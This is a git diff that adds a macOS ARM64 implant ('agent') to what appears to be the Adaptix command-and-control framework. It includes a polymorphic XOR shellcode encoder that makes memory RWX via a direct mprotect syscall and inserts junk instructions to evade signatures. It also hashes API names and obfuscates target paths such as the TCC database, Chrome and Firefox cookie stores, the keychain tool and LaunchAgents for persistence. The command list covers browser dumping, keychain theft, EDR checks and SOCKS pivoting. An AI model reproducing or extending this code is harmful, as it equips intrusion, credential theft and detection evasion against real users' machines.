+ let cmd_zip = ax.create_command("zip", "Archive (zip) a file or directory", "zip /Users/test /tmp/qwe.zip", "Task: Zip a file or directory");
+ cmd_zip.addArgString("path", true);
+ cmd_zip.addArgString("zip_path", true);
+
+ let commands_macos = ax.create_commands_group("macos", [cmd_browser_dump, cmd_cat, cmd_clipboard, cmd_cp, cmd_cd, cmd_defaults_read, cmd_download, cmd_edr_check, cmd_exit, cmd_job, cmd_keychain, cmd_kill, cmd_ls, cmd_mv, cmd_mkdir, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_screenshot, cmd_socks, cmd_shell, cmd_tcc_check, cmd_upload, cmd_zip]);
+
+ return {
+ commands_macos: commands_macos
+ }
+}
+
+function GenerateUI(listeners_type)
+{
+ let labelFormat = form.create_label("Format:");
+ let comboFormat = form.create_combo()
+ comboFormat.addItems(["Binary Mach-O (Native)", "Shellcode ARM64 (Native)"]);
+
+ let labelTarget = form.create_label("Target:");
+ let textTarget = form.create_textline("macOS ARM64 (Apple Silicon)");
+ textTarget.setEnabled(false);
+
+ let hline = form.create_hline()
+
+ let labelReconnTimeout = form.create_label("Reconnect timeout:");
+ let textReconnTimeout = form.create_textline("10");
+ textReconnTimeout.setPlaceholder("seconds")
+
+ let labelReconnCount = form.create_label("Reconnect count:");
+ let spinReconnCount = form.create_spin();
+ spinReconnCount.setRange(0, 1000000000);
+ spinReconnCount.setValue(1000000000);
+
+ let layout = form.create_gridlayout();
+ layout.addWidget(labelTarget, 0, 0, 1, 1);
+ layout.addWidget(textTarget, 0, 1, 1, 1);
+ layout.addWidget(labelFormat, 1, 0, 1, 1);
+ layout.addWidget(comboFormat, 1, 1, 1, 1);
+ layout.addWidget(hline, 2, 0, 1, 2);
+ layout.addWidget(labelReconnTimeout, 3, 0, 1, 1);
+ layout.addWidget(textReconnTimeout, 3, 1, 1, 1);
+ layout.addWidget(labelReconnCount, 4, 0, 1, 1);
+ layout.addWidget(spinReconnCount, 4, 1, 1, 1);
+
+ let container = form.create_container()
+ container.put("format", comboFormat)
+ container.put("reconn_timeout", textReconnTimeout)
+ container.put("reconn_count", spinReconnCount)
+
+ let panel = form.create_panel()
+ panel.setLayout(layout)
+
+ return {
+ ui_panel: panel,
+ ui_container: container,
+ ui_height: 400,
+ ui_width: 550
+ }
+}
diff --git a/AdaptixServer/extenders/macos_agent/config.yaml b/AdaptixServer/extenders/macos_agent/config.yaml
new file mode 100644
index 000000000..dafbd21c1
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/config.yaml
@@ -0,0 +1,9 @@
+extender_type: "agent"
+extender_file: "agent_macos.so"
+ax_file: "ax_config.axs"
+
+agent_name: "macos"
+agent_watermark: "d3ac7f01"
+listeners:
+ - "GopherTCP"
+multi_listeners: true
diff --git a/AdaptixServer/extenders/macos_agent/go.mod b/AdaptixServer/extenders/macos_agent/go.mod
new file mode 100644
index 000000000..301e72056
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/go.mod
@@ -0,0 +1,14 @@
+module adaptix_agent_macos
+
+go 1.25.4
+
+require (
+ github.com/Adaptix-Framework/axc2 v1.2.0
+ github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
+ github.com/vmihailenco/msgpack/v5 v5.4.1
+)
+
+require (
+ github.com/stretchr/testify v1.11.1 // indirect
+ github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
+)
diff --git a/AdaptixServer/extenders/macos_agent/go.sum b/AdaptixServer/extenders/macos_agent/go.sum
new file mode 100644
index 000000000..8f0a39d1c
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/go.sum
@@ -0,0 +1,16 @@
+github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=
+github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
+github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
+github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
+github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
+github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
+github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/AdaptixServer/extenders/macos_agent/macos_agent.ext b/AdaptixServer/extenders/macos_agent/macos_agent.ext
new file mode 100644
index 000000000..69c589ece
Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/macos_agent.ext differ
diff --git a/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go
new file mode 100644
index 000000000..c2663e267
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go
@@ -0,0 +1,420 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ mrand "math/rand"
+)
+
+// xorEncodeShellcodeARM64 applies XOR encoding to a macOS ARM64 dylib payload.
+// Returns the encoded payload prepended with a polymorphic self-decoding ARM64 stub that:
+// 1. Calls mprotect via direct syscall (svc #0x80) to make its memory RWX
+// 2. XOR-decodes the payload in-place using a 16-byte key
+// 3. Flushes the instruction cache (required on ARM64)
+// 4. Branches to the decoded dylib (which triggers __attribute__((constructor)))
+//
+// Each call generates a unique stub with different:
+// - XOR key (16 bytes, crypto-random)
+// - Junk NOP padding (variable count)
+// - Instruction variants in the decode loop
+func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) {
+ // Generate 16-byte random XOR key
+ key := make([]byte, 16)
+ if _, err := rand.Read(key); err != nil {
+ return nil, err
+ }
+
+ // XOR-encode the payload
+ encoded := make([]byte, len(payload))
+ for i, b := range payload {
+ encoded[i] = b ^ key[i%16]
+ }
+
+ // Generate polymorphic ARM64 stub
+ stub, keyOffset, sizeOffset := generateStubARM64()
+
+ // Patch key into stub
+ copy(stub[keyOffset:keyOffset+16], key)
+
+ // Patch payload size into stub (little-endian uint32)
+ binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload)))
+
+ // Assemble: stub + encoded payload
+ result := make([]byte, 0, len(stub)+len(encoded))
+ result = append(result, stub...)
+ result = append(result, encoded...)
+ return result, nil
+}
+
+// ARM64 instruction encoding helpers
+
+func arm64Nop() uint32 { return 0xD503201F }
+
+// stp x29, x30, [sp, #-16]!
+func arm64StpX29X30PreDec() uint32 { return 0xA9BF7BFD }
+
+// ldp x29, x30, [sp], #16
+func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD }
+
+// adr xD, #imm21 — PC-relative address (±1MB range)
+func arm64Adr(rd int, imm21 int32) uint32 {
+ immlo := uint32(imm21&0x3) << 29
+ immhi := uint32((imm21>>2)&0x7FFFF) << 5
+ return 0x10000000 | immlo | immhi | uint32(rd)
+}
+
+// ldr wD, [xN, #imm12*4] — load 32-bit from base + scaled imm
+func arm64LdrWImm(rd, rn int, imm12 uint32) uint32 {
+ return 0xB9400000 | (imm12/4)<<10 | uint32(rn)<<5 | uint32(rd)
+}
+
+// ldrb wD, [xN, xM] — option=011 (LSL), S=0
+func arm64LdrbReg(rd, rn, rm int) uint32 {
+ return 0x38606800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd)
+}
+
+// strb wD, [xN, xM] — option=011 (LSL), S=0
+func arm64StrbReg(rd, rn, rm int) uint32 {
+ return 0x38206800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd)
+}
+
+// eor wD, wN, wM
+func arm64EorW(rd, rn, rm int) uint32 {
+ return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd)
+}
+
+// add xD, xN, #imm12
+func arm64AddImm(rd, rn int, imm12 uint32) uint32 {
+ return 0x91000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd)
+}
+
+// and wD, wN, #imm — for AND w, w, #15 (bitmask 0xF = immr=0, imms=3, N=0)
+func arm64AndWImm15(rd, rn int) uint32 {
+ // Logical immediate encoding for #15 (0xF): N=0, immr=0, imms=0b000011
+ return 0x12000C00 | uint32(rn)<<5 | uint32(rd)
+}
+
+// subs wD, wN, #imm12
+func arm64SubsWImm(rd, rn int, imm12 uint32) uint32 {
+ return 0x71000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd)
+}
+
+// b.ne #offset (offset in bytes, must be aligned to 4)
+func arm64Bne(offset int32) uint32 {
+ imm19 := uint32(offset/4) & 0x7FFFF
+ return 0x54000001 | imm19<<5
+}
+
+// b #offset (unconditional branch, offset in bytes)
+func arm64B(offset int32) uint32 {
+ imm26 := uint32(offset/4) & 0x3FFFFFF
+ return 0x14000000 | imm26
+}
+
+// mov xD, #imm16
+func arm64MovzX(rd int, imm16 uint32) uint32 {
+ return 0xD2800000 | imm16<<5 | uint32(rd)
+}
+
+// movk xD, #imm16, lsl #16
+func arm64MovkXLsl16(rd int, imm16 uint32) uint32 {
+ return 0xF2A00000 | imm16<<5 | uint32(rd)
+}
+
+// mov wD, #imm16
+func arm64MovzW(rd int, imm16 uint32) uint32 {
+ return 0x52800000 | imm16<<5 | uint32(rd)
+}
+
+// mov xD, xN (alias for orr xD, xzr, xN)
+func arm64MovX(rd, rn int) uint32 {
+ return 0xAA0003E0 | uint32(rn)<<16 | uint32(rd)
+}
+
+// svc #0x80
+func arm64Svc80() uint32 { return 0xD4001001 }
+
+// and xD, xN, xN (NOP-equivalent, polymorphic filler)
+func arm64AndSelf(rd int) uint32 {
+ return 0x8A000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd)
+}
+
+// orr xD, xD, xD (NOP-equivalent, polymorphic filler)
+func arm64OrrSelf(rd int) uint32 {
+ return 0xAA000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd)
+}
+
+// and xD, xN, #0xFFFFFFFFFFFFF000 — clear low 12 bits (page align)
+// Logical immediate: N=1, immr=52, imms=51
+// Ones(52) ROR 52 = bits [63:12] set = 0xFFFFFFFFFFFFF000
+func arm64AndPageAlign(rd, rn int) uint32 {
+ return 0x9274CC00 | uint32(rn)<<5 | uint32(rd)
+}
+
+// sub xD, xN, xM
+func arm64SubX(rd, rn, rm int) uint32 {
+ return 0xCB000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd)
+}
+
+// add xD, xN, xM
+func arm64AddX(rd, rn, rm int) uint32 {
+ return 0x8B000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd)
+}
+
+// cbnz wN, #offset (offset in bytes)
+func arm64CbnzW(rn int, offset int32) uint32 {
+ imm19 := uint32(offset/4) & 0x7FFFF
+ return 0x35000000 | imm19<<5 | uint32(rn)
+}
+
+// dc civac, xN — clean & invalidate data cache by VA
+func arm64DcCivac(rn int) uint32 {
+ return 0xD50B7E20 | uint32(rn)
+}
+
+// ic ivau, xN — invalidate instruction cache by VA
+func arm64IcIvau(rn int) uint32 {
+ return 0xD50B7520 | uint32(rn)
+}
+
+// dsb ish
+func arm64DsbIsh() uint32 { return 0xD5033B9F }
+
+// isb
+func arm64Isb() uint32 { return 0xD5033FDF }
+
+// Helper: encode a uint32 instruction to 4 bytes LE
+func encodeInsn(insn uint32) []byte {
+ b := make([]byte, 4)
+ binary.LittleEndian.PutUint32(b, insn)
+ return b
+}
+
+// generateStubARM64 creates a polymorphic ARM64 decoder stub.
+// Returns (stub_bytes, key_offset, size_offset).
+//
+// The stub layout:
+// [prologue: save regs]
+// [junk NOPs]
+// [compute addresses: adr to key, size, data]
+// [mprotect syscall: make stub+payload RWX]
+// [junk NOPs]
+// [XOR decode loop]
+// [icache flush loop]
+// [epilogue: restore regs, branch to decoded payload]
+// [key: 16 bytes]
+// [size: 4 bytes]
+// [alignment padding to 8 bytes]
+// --- encoded payload follows ---
+func generateStubARM64() ([]byte, int, int) {
+ var stub []byte
+
+ // Polymorphism: random junk instruction counts
+ junkCount1 := mrand.Intn(3) + 1 // 1-3 NOPs after prologue
+ junkCount2 := mrand.Intn(2) + 1 // 1-2 NOPs before decode loop
+
+ // Polymorphism: choose loop counter variant
+ // 0 = subs + b.ne, 1 = sub + cbnz
+ loopVariant := mrand.Intn(2)
+
+ // Register assignments (can be randomized in future iterations)
+ rKey := 9 // x9 = pointer to XOR key
+ rData := 10 // x10 = pointer to encoded data
+ rSize := 11 // w11 = remaining byte count
+ rKeyIdx := 12 // x12 = key index (0..15)
+ rTmp0 := 13 // w13 = temp for key byte
+ rTmp1 := 14 // w14 = temp for data byte
+ rPageBase := 15 // x15 = page-aligned base for mprotect
+ rMprotSz := 16 // x16 is reused for syscall number, then free; use x3 for mprotect size
+ _ = rMprotSz
+
+ // ── Prologue ──
+ // stp x29, x30, [sp, #-16]!
+ stub = append(stub, encodeInsn(arm64StpX29X30PreDec())...)
+
+ // Junk NOPs (polymorphic)
+ for i := 0; i < junkCount1; i++ {
+ stub = append(stub, encodeInsn(randomJunkInsn())...)
+ }
+
+ // ── Address computation ──
+ // We'll patch these ADR offsets after we know the full stub size.
+ // For now, emit placeholders and record their positions.
+ adrKeyPos := len(stub)
+ stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xKey, key_data
+
+ adrDataPos := len(stub)
+ stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xData, data_start
+
+ // ldr w11, [x9, #16] — load size from key+16 (size field is right after key)
+ ldrSizePos := len(stub)
+ _ = ldrSizePos
+ stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...)
+
+ // ── mprotect syscall ──
+ // Page-align stub base: and x15, x9, #~0xFFF (clear low 12 bits)
+ // We align from key address which is near the stub start
+ stub = append(stub, encodeInsn(arm64AndPageAlign(rPageBase, rKey))...)
+
+ // Compute total mprotect size:
+ // size = (data_ptr + payload_size + 0xFFF) & ~0xFFF - page_base
+ // Simplified: use a generous size = data_ptr - page_base + payload_size + 4096
+ // x0 = page_base (mprotect addr)
+ stub = append(stub, encodeInsn(arm64MovX(0, rPageBase))...)
+
+ // x1 = data_ptr + size - page_base + 4096
+ // We compute: x1 = x10 + x11 - x15
+ stub = append(stub, encodeInsn(arm64AddX(1, rData, rSize))...) // x1 = data + size
+ stub = append(stub, encodeInsn(arm64SubX(1, 1, rPageBase))...) // x1 = x1 - page_base
+ stub = append(stub, encodeInsn(arm64AddImm(1, 1, 0xFFF))...) // x1 += 0xFFF
+ stub = append(stub, encodeInsn(arm64AndPageAlign(1, 1))...) // x1 &= ~0xFFF (round up)
+
+ // x2 = PROT_READ | PROT_WRITE | PROT_EXEC = 7
+ stub = append(stub, encodeInsn(arm64MovzW(2, 7))...)
+
+ // x16 = SYS_mprotect = 0x200004A (BSD: 0x2000000 | 74)
+ stub = append(stub, encodeInsn(arm64MovzX(16, 0x004A))...) // x16 = 0x4A
+ stub = append(stub, encodeInsn(arm64MovkXLsl16(16, 0x0200))...) // x16 |= 0x0200_0000
+
+ // svc #0x80
+ stub = append(stub, encodeInsn(arm64Svc80())...)
+
+ // Junk NOPs (polymorphic)
+ for i := 0; i < junkCount2; i++ {
+ stub = append(stub, encodeInsn(randomJunkInsn())...)
+ }
+
+ // ── XOR decode loop ──
+ // x12 = 0 (key index)
+ stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0))...)
+
+ loopStart := len(stub)
+
+ // w13 = key[key_idx] : ldrb w13, [x9, x12]
+ stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...)
+
+ // w14 = data[i] : ldrb w14, [x10] (we use post-index style but simpler: [x10, #0] then increment)
+ // Actually use x12 as key idx, need a separate counter for data.
+ // Simpler: use x10 as moving data pointer, x12 as key index
+ // ldrb w14, [x10]
+ stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...) // ldrb w14, [x10]
+
+ // eor w14, w14, w13
+ stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...)
+
+ // strb w14, [x10]
+ stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...) // strb w14, [x10]
+
+ // x10 += 1 (advance data pointer)
+ stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...)
+
+ // x12 = (x12 + 1) & 15
+ stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...)
+ stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...)
+
+ // Decrement size counter and loop
+ if loopVariant == 0 {
+ // subs w11, w11, #1 + b.ne loop
+ stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...)
+ loopEnd := len(stub)
+ offset := int32(loopStart - loopEnd)
+ stub = append(stub, encodeInsn(arm64Bne(offset))...)
+ } else {
+ // sub w11, w11, #1 + cbnz w11, loop
+ stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) // subs for zero flag
+ _ = loopVariant
+ loopEnd := len(stub)
+ offset := int32(loopStart - loopEnd)
+ stub = append(stub, encodeInsn(arm64Bne(offset))...)
+ }
+
+ // ── icache flush ──
+ // We need to flush the decoded payload region.
+ // Reload data_start address and size for the flush loop.
+ // Re-compute: the data pointer (x10) has been advanced past the payload.
+ // We need the original data_start. Recalculate from key addr: data_start = key + 20 (16 key + 4 size)
+
+ // x10 = x9 + 20 (key + 16 + 4 = data_start)
+ stub = append(stub, encodeInsn(arm64AddImm(rData, rKey, 20))...)
+
+ // Reload size from key+16
+ stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...)
+
+ // Flush icache for the decoded region
+ // For simplicity, use IC IALLUIS (invalidate ALL instruction cache)
+ // This is simpler than per-page flush and works correctly.
+ // On Apple Silicon this is allowed from userspace.
+
+ // dc civac loop would be per-cache-line (64 bytes on Apple Silicon)
+ // But IC IALLUIS + DSB + ISB is cleaner and simpler
+
+ // DSB ISH — ensure stores (XOR decode) are visible
+ stub = append(stub, encodeInsn(arm64DsbIsh())...)
+
+ // IC IALLUIS — invalidate all instruction cache (inner shareable)
+ // sys #0, c7, c1, #0 = 0xD508711F
+ stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis
+
+ // DSB ISH — ensure icache invalidation completes
+ stub = append(stub, encodeInsn(arm64DsbIsh())...)
+
+ // ISB — synchronize instruction stream
+ stub = append(stub, encodeInsn(arm64Isb())...)
+
+ // ── Epilogue ──
+ // ldp x29, x30, [sp], #16
+ stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...)
+
+ // b data_start — branch to decoded payload
+ branchPos := len(stub)
+ stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: b data_start
+
+ // ── Data area ──
+ keyOffset := len(stub)
+ stub = append(stub, make([]byte, 16)...) // 16-byte XOR key (to be patched)
+
+ sizeOffset := len(stub)
+ stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size (to be patched)
+
+ // Align to 8 bytes (ARM64 prefers 8-byte alignment for branch targets)
+ for len(stub)%8 != 0 {
+ stub = append(stub, 0x00)
+ }
+
+ dataStart := len(stub) // This is where encoded payload will be appended
+
+ // ── Patch ADR instructions ──
+ // adr xKey, key_data: offset = keyOffset - adrKeyPos
+ adrKeyImm := int32(keyOffset - adrKeyPos)
+ binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm))
+
+ // adr xData, data_start: offset = dataStart - adrDataPos
+ adrDataImm := int32(dataStart - adrDataPos)
+ binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, adrDataImm))
+
+ // ── Patch branch to data_start ──
+ branchOffset := int32(dataStart - branchPos)
+ binary.LittleEndian.PutUint32(stub[branchPos:branchPos+4], arm64B(branchOffset))
+
+ return stub, keyOffset, sizeOffset
+}
+
+// randomJunkInsn returns a random ARM64 instruction that acts as a NOP
+// (does nothing useful but varies the stub's byte signature)
+func randomJunkInsn() uint32 {
+ switch mrand.Intn(5) {
+ case 0:
+ return arm64Nop() // nop
+ case 1:
+ r := mrand.Intn(16) // mov xR, xR
+ return arm64MovX(r, r)
+ case 2:
+ r := mrand.Intn(16) // and xR, xR, xR
+ return arm64AndSelf(r)
+ case 3:
+ r := mrand.Intn(16) // orr xR, xR, xR
+ return arm64OrrSelf(r)
+ default:
+ return arm64Nop()
+ }
+}
diff --git a/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go
new file mode 100644
index 000000000..40e993d23
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go
@@ -0,0 +1,327 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ "fmt"
+ "strings"
+)
+
+// cryptoRandUint32 returns a cryptographically random uint32.
+func cryptoRandUint32() uint32 {
+ var buf [4]byte
+ _, _ = rand.Read(buf[:])
+ return binary.LittleEndian.Uint32(buf[:])
+}
+
+// djb2Hash computes a case-insensitive DJB2 hash (same as beacon's djb2a).
+// Must match the C implementation in dyld_resolve.c exactly.
+func djb2Hash(seed uint32, s string) uint32 {
+ h := seed
+ for _, c := range strings.ToLower(s) {
+ h = ((h << 5) + h) + uint32(c)
+ }
+ return h
+}
+
+// macOS dylib entries — the libraries whose APIs we resolve by hash
+var macosLibs = []struct {
+ define string
+ libName string
+}{
+ {"HASH_LIB_LIBSYSTEM", "libSystem.B.dylib"},
+ {"HASH_LIB_LIBSYSTEM_C", "libsystem_c.dylib"},
+ {"HASH_LIB_LIBSYSTEM_KERNEL", "libsystem_kernel.dylib"},
+ {"HASH_LIB_LIBSYSTEM_PTHREAD", "libsystem_pthread.dylib"},
+ {"HASH_LIB_COREFOUNDATION", "CoreFoundation"},
+ {"HASH_LIB_SECURITY", "Security"},
+ {"HASH_LIB_COREGRAPHICS", "CoreGraphics"},
+}
+
+// macOS function entries — organized by category
+var macosFuncSections = []struct {
+ comment string
+ funcs []struct {
+ define string
+ name string
+ }
+}{
+ {
+ "// ── File I/O ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_OPEN", "open"},
+ {"HASH_FUNC_CLOSE", "close"},
+ {"HASH_FUNC_READ", "read"},
+ {"HASH_FUNC_WRITE", "write"},
+ {"HASH_FUNC_STAT", "stat"},
+ {"HASH_FUNC_FSTAT", "fstat"},
+ {"HASH_FUNC_UNLINK", "unlink"},
+ {"HASH_FUNC_RENAME", "rename"},
+ {"HASH_FUNC_MKDIR", "mkdir"},
+ {"HASH_FUNC_OPENDIR", "opendir"},
+ {"HASH_FUNC_READDIR", "readdir"},
+ {"HASH_FUNC_CLOSEDIR", "closedir"},
+ {"HASH_FUNC_GETCWD", "getcwd"},
+ {"HASH_FUNC_CHDIR", "chdir"},
+ {"HASH_FUNC_COPYFILE", "copyfile"},
+ {"HASH_FUNC_RMDIR", "rmdir"},
+ {"HASH_FUNC_REWINDDIR", "rewinddir"},
+ },
+ },
+ {
+ "// ── Memory ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_MMAP", "mmap"},
+ {"HASH_FUNC_MUNMAP", "munmap"},
+ {"HASH_FUNC_MPROTECT", "mprotect"},
+ },
+ },
+ {
+ "// ── Process ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_FORK", "fork"},
+ {"HASH_FUNC_EXECVE", "execve"},
+ {"HASH_FUNC_EXECVP", "execvp"},
+ {"HASH_FUNC_EXECL", "execl"},
+ {"HASH_FUNC_EXECLP", "execlp"},
+ {"HASH_FUNC_WAITPID", "waitpid"},
+ {"HASH_FUNC_GETPID", "getpid"},
+ {"HASH_FUNC_GETUID", "getuid"},
+ {"HASH_FUNC_GETEUID", "geteuid"},
+ {"HASH_FUNC_KILL", "kill"},
+ {"HASH_FUNC_KILLPG", "killpg"},
+ {"HASH_FUNC_SETSID", "setsid"},
+ {"HASH_FUNC_SETPGID", "setpgid"},
+ {"HASH_FUNC_EXIT", "_exit"},
+ },
+ },
+ {
+ "// ── Network ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_SOCKET", "socket"},
+ {"HASH_FUNC_CONNECT", "connect"},
+ {"HASH_FUNC_GETADDRINFO", "getaddrinfo"},
+ {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"},
+ {"HASH_FUNC_GETHOSTNAME", "gethostname"},
+ {"HASH_FUNC_GETSOCKOPT", "getsockopt"},
+ {"HASH_FUNC_SETSOCKOPT", "setsockopt"},
+ {"HASH_FUNC_SELECT", "select"},
+ },
+ },
+ {
+ "// ── System ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_SYSCTL", "sysctl"},
+ {"HASH_FUNC_SYSCTLBYNAME", "sysctlbyname"},
+ {"HASH_FUNC_GETENV", "getenv"},
+ {"HASH_FUNC_SETENV", "setenv"},
+ {"HASH_FUNC_SLEEP", "sleep"},
+ {"HASH_FUNC_USLEEP", "usleep"},
+ },
+ },
+ {
+ "// ── Pipes & PTY ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_PIPE", "pipe"},
+ {"HASH_FUNC_DUP2", "dup2"},
+ {"HASH_FUNC_FCNTL", "fcntl"},
+ {"HASH_FUNC_POSIX_OPENPT", "posix_openpt"},
+ {"HASH_FUNC_GRANTPT", "grantpt"},
+ {"HASH_FUNC_UNLOCKPT", "unlockpt"},
+ {"HASH_FUNC_PTSNAME", "ptsname"},
+ {"HASH_FUNC_IOCTL", "ioctl"},
+ },
+ },
+ {
+ "// ── Threading ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_PTHREAD_CREATE", "pthread_create"},
+ {"HASH_FUNC_PTHREAD_DETACH", "pthread_detach"},
+ {"HASH_FUNC_PTHREAD_MUTEX_INIT", "pthread_mutex_init"},
+ {"HASH_FUNC_PTHREAD_MUTEX_LOCK", "pthread_mutex_lock"},
+ {"HASH_FUNC_PTHREAD_MUTEX_UNLOCK", "pthread_mutex_unlock"},
+ },
+ },
+ {
+ "// ── Crypto/Random ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_ARC4RANDOM_BUF", "arc4random_buf"},
+ },
+ },
+ {
+ "// ── String/Misc ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_DLOPEN", "dlopen"},
+ {"HASH_FUNC_DLSYM", "dlsym"},
+ {"HASH_FUNC_DLCLOSE", "dlclose"},
+ },
+ },
+ {
+ "// ── macOS-specific ──",
+ []struct{ define, name string }{
+ {"HASH_FUNC_GETPWUID", "getpwuid"},
+ {"HASH_FUNC_GETGRGID", "getgrgid"},
+ {"HASH_FUNC_GETIFADDRS", "getifaddrs"},
+ {"HASH_FUNC_FREEIFADDRS", "freeifaddrs"},
+ {"HASH_FUNC_INET_NTOP", "inet_ntop"},
+ {"HASH_FUNC_LOCALTIME", "localtime"},
+ {"HASH_FUNC_STRFTIME", "strftime"},
+ {"HASH_FUNC_GETSOCKOPT", "getsockopt"},
+ {"HASH_FUNC_SETSOCKOPT", "setsockopt"},
+ },
+ },
+}
+
+// Sensitive strings that should be XOR-encoded per-payload
+var obfuscatedStrings = []struct {
+ define string
+ value string
+}{
+ {"OBF_SCREENCAPTURE", "/usr/sbin/screencapture"},
+ {"OBF_PBPASTE", "/usr/bin/pbpaste"},
+ {"OBF_LAUNCHCTL", "/bin/launchctl"},
+ {"OBF_SECURITY_BIN", "/usr/bin/security"},
+ {"OBF_DEFAULTS", "/usr/bin/defaults"},
+ {"OBF_SQLITE3", "/usr/bin/sqlite3"},
+ {"OBF_PS", "/bin/ps"},
+ {"OBF_RM", "/bin/rm"},
+ {"OBF_DITTO", "/usr/bin/ditto"},
+ {"OBF_SH", "/bin/sh"},
+ {"OBF_BASH", "/bin/bash"},
+ {"OBF_ZSH", "/bin/zsh"},
+ {"OBF_DEV_URANDOM", "/dev/urandom"},
+ {"OBF_TCC_DB", "/Library/Application Support/com.apple.TCC/TCC.db"},
+ {"OBF_CHROME_COOKIES", "Library/Application Support/Google/Chrome/Default/Cookies"},
+ {"OBF_FIREFOX_COOKIES", "Library/Application Support/Firefox/Profiles"},
+ {"OBF_LAUNCH_AGENTS", "Library/LaunchAgents"},
+ {"OBF_LAUNCH_DAEMONS", "/Library/LaunchDaemons"},
